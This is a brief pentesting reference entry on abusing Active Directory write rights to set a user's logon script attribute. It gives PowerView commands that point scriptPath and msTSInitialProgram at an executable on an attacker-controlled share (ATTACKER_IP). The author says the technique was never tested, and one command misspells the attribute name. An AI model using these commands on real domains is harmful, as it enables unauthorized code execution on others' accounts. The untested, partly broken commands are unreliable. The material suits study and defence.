Logon script

It is worth noting that during my tests, I couldn't find a way to practice this scenario. Since I didn't find practical enough resources on the Internet, feel free to reach out if you manage to exploit this.

This abuse can be carried out when controlling an object that has a GenericAll or GenericWrite over the target, or a WriteProperty premission over the target's logon script attribute (i.e. scriptPath or msTSInitialProgram).

The attacker can make the user execute a custom script at logon. This can be achieved with Set-DomainObject (PowerView module).

Set-DomainObject testuser -Set @{'msTSTnitialProgram'='\\ATTACKER_IP\share\run_at_logon.exe'} -Verbose

Set-DomainObject testuser -Set @{'scriptPath'='\\ATTACKER_IP\share\run_at_logon.exe'} -Verbose